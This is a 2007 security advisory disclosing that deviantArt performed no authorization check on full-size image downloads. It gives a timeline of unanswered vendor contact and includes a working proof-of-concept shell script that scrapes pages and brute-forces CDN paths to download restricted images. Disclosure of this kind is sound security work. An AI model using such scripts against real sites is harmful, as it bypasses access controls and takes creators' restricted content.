deviantArt does not check authorization for image download

[Timothy Redaelli <tredaelli () inventati org>]

Security Advisory
-----------------
Title:        deviantArt does not check authorization for image download
Risk Rating:  High
Platforms:    Any
Author:       Timothy Redaelli <tredaelli () inventati org>
Date:         27-06-2007

Overview
--------
deviantArt does not apply any type of authorization checking for full-size 
image download.

Details
-------
It is possibile to download the full-size (as uploaded) image also if the 
Download button is disabled.

Proof of Concept
----------------
#!/bin/sh
# Copyright (c) 2007 Timothy Redaelli <tredaelli () inventati org>

URL=$1

download()
{
        wget -U "" -nv "$@"
}

parse()
{
        wget -U "" http://www.deviantart.com/download/"$URL"/ && exit 0
        URLS=$(wget -qU "" -O - http://www.deviantart.com/deviation/"$URL"/ | 
fgrep 'deviantART.pageData' | sed -e 's/^.*"fullview":
{[^}]*"\(http[^"]*\).*$/\1/' -e 's/\\//g' | awk -F / '{for (i = 0; i <= 0xF; 
i++) for (j = 0; j <= 0xF; j++) 
printf "http://69.28.181.52/%s/f/%s/%s/%x/%x/%s\n";, $4, $6, $7, i, j, $10}')
}

parse "$1"

echo "$URLS" | while read x; do
        download "$x" && exit 0
done

Timeline
--------
Mar 26, 2007 -- Bug discovery.
Mar 27, 2007 -- Contact deviantArt, no reply.
Jun 26, 2007 -- Recontact deviantArt, still no reply.
Jun 27, 2007 -- Bug published.

Credits
-------
* Timothy Redaelli <tredaelli () inventati org>

-- 
Timothy Redaelli
http://timothyredaelli.wordpress.com/

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